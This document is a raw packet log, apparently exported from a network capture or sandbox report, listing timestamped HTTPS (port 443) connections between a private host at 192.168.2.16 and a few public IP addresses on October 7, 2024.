Oct 7, 2024 20:59:50.906446934 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.906475067 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.906490088 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.906547070 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.912205935 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.918148041 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.918236017 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.918240070 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.918263912 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.918323040 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.924160957 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.930267096 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.930342913 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.930407047 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.930422068 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.930493116 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.936121941 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.942104101 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.942188978 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.942203999 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.942219019 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.942281008 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.963104010 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.963273048 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.963359118 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.963373899 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.966686010 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.966769934 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.966772079 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.966797113 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.966861010 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.970411062 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.970557928 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.970628977 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.970645905 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.979566097 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.979665995 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.979680061 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.982450962 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.982525110 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.982538939 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.988583088 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.988656044 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.988670111 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.996309996 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.996427059 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.996443033 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.997996092 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:50.998085022 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:50.998100042 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.003961086 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.004035950 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.004050970 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.008157969 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.008250952 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.008264065 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.013118029 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.013190031 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.013204098 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.017023087 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.017095089 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.017107964 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.021488905 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.021581888 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.021594048 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.025577068 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.025651932 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.025672913 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.030205965 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.030276060 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.030291080 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.035171986 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.035301924 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.035321951 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.036638975 CEST	443	49819	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.036958933 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.037020922 CEST	443	49819	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.037062883 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.037147045 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.037161112 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.037930012 CEST	443	49819	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.038012028 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.038459063 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.038495064 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.038530111 CEST	443	49819	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.038552046 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.038597107 CEST	49819	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.039143085 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.039233923 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.039338112 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.039551973 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.039572954 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.040607929 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.040682077 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.040695906 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.044914007 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.044991016 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.045005083 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.048116922 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.048197031 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.048211098 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.052093029 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.052169085 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.052182913 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.054213047 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.054284096 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.054296970 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.056762934 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.056864023 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.056876898 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.058561087 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.058640003 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.058653116 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.061117887 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.061206102 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.061218977 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.063129902 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.063210011 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.063225031 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.065061092 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.065118074 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.065148115 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.065162897 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.065223932 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.067271948 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.069652081 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.069705963 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.069741964 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.069756985 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.069818020 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.071794987 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.073954105 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.074009895 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.074019909 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.074033976 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.074090004 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.076176882 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.078490019 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.078562975 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.078576088 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.080888033 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.080967903 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.080997944 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.081012964 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.081070900 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.082993031 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.085006952 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.085082054 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.085094929 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.087172031 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.087244987 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.087258101 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.089335918 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.089404106 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.089416981 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.091645956 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.091739893 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.091751099 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.091775894 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.091830969 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.094114065 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.096184969 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.096255064 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.096267939 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.098328114 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.098400116 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.098412991 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.100373983 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.100445032 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.100455999 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.100478888 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.100543976 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.102381945 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.104617119 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.104703903 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.104712963 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.104727030 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.104787111 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.106755972 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.109267950 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.109335899 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.109349966 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.110898972 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.110975027 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.110987902 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.112971067 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.113043070 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.113055944 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.114885092 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.114979029 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.114991903 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.116906881 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.116980076 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.116992950 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.118835926 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.118906021 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.118918896 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.122178078 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.122248888 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.122262001 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.123100042 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.123171091 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.123183966 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.124895096 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.124984026 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.124989033 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.125005007 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.125068903 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.125139952 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.125299931 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.125319004 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.125344992 CEST	443	49818	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:51.125394106 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.125427008 CEST	49818	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:51.529884100 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.530323029 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.530358076 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.531414986 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.531498909 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.531876087 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.531949997 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.532068968 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.532084942 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.574367046 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.985232115 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.985399961 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.985539913 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.986339092 CEST	49820	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.986380100 CEST	443	49820	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.989228010 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.989321947 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:51.989448071 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.989718914 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:51.989759922 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.453068972 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.453568935 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.453638077 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.454745054 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.455163002 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.455332041 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.455344915 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.499403000 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.500195026 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.603192091 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:52.603339911 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:52.603507996 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:52.873320103 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.873497009 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.873698950 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.873991966 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.873991966 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.874039888 CEST	443	49821	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:52.874113083 CEST	49821	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:52.876384020 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:52.876455069 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:52.876983881 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:52.877083063 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:52.877188921 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:52.877413988 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:52.877443075 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.508399963 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.508696079 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.508763075 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.509243965 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.509540081 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.509635925 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.509659052 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.555407047 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.556175947 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.863724947 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.863869905 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.864028931 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.864041090 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.864068985 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.864099026 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.864155054 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.864182949 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.864250898 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.864311934 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.868763924 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.868923903 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.868988037 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.874787092 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.874862909 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.874882936 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.880017996 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.880093098 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.880108118 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.924174070 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.945796013 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.948362112 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.948431015 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.948550940 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.948647022 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.948718071 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.954200983 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.960136890 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.960201979 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.960203886 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.960230112 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.960289955 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.966120005 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.972028971 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.972095966 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.972100973 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.972120047 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.972197056 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.978466988 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.983680010 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.983746052 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.983792067 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.983855009 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.983927011 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.989147902 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.994775057 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.994838953 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.994843006 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:53.994862080 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:53.994920015 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.000540972 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.005789995 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.005866051 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.005882978 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.031919956 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.032013893 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.032016039 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.032078028 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.032154083 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.032171011 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.032712936 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.032782078 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.032794952 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.035926104 CEST	443	49822	142.250.186.36	192.168.2.16
